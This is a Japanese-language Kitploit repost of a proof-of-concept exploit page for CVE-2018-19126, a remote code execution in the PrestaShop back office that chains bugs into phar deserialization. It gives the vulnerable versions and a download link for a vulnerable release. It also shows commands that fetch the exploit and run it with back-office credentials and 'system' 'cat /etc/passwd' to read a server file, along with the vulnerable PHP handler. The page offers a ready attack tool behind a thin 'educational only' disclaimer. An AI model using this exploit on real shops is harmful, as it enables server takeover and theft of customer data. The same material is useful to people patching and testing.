PrestaShop-CVE-2018-19126 — PrestaShop (1.6.x <= 1.6.1.23 または 1.7.x <= 1.7.4.4) バックオフィスリモートコード実行 (CVE-2018-19126) | Kitploit

共有

PrestaShop バックオフィスリモートコード実行 (CVE-2018-19126)

これは CVE-2018-19126 の PoC であり、PrestaShop バックオフィスにおける複数の脆弱性を連鎖させ、phar を介したデシリアライゼーションを引き起こし、リモートコード実行を達成するものです。

前提条件:

PrestaShop 1.6.x 1.6.1.23 より前、または 1.7.x 1.7.4.4 より前。
バックオフィスアカウント (ロジスティシャン、翻訳者、セールスマンなど)。

PrestaShop リリースノート: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/

脆弱パッケージリンク: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip

警告

教育目的のみに使用してください。このスクリプトを違法行為に使用しないでください。作成者は誤用や損害について一切責任を負いません。

例

エクスプロイトを実行するには、curl 拡張機能を備えた php と、php.ini で phar.readonly = Off を設定する必要があります。

# Download repository
wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip
unzip PrestaShop-CVE-2018-19126.zip
cd PrestaShop-CVE-2018-19126-master

# Run the exploit
# Usage: php exploit.php back-office-url email password func param
php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123 system 'cat /etc/passwd'

case 'image_size':
    if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
        die();
    }
    $pos = strpos($_POST['path'], $upload_dir);
    if ($pos !== false) {
        $info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
        echo json_encode($info);
    }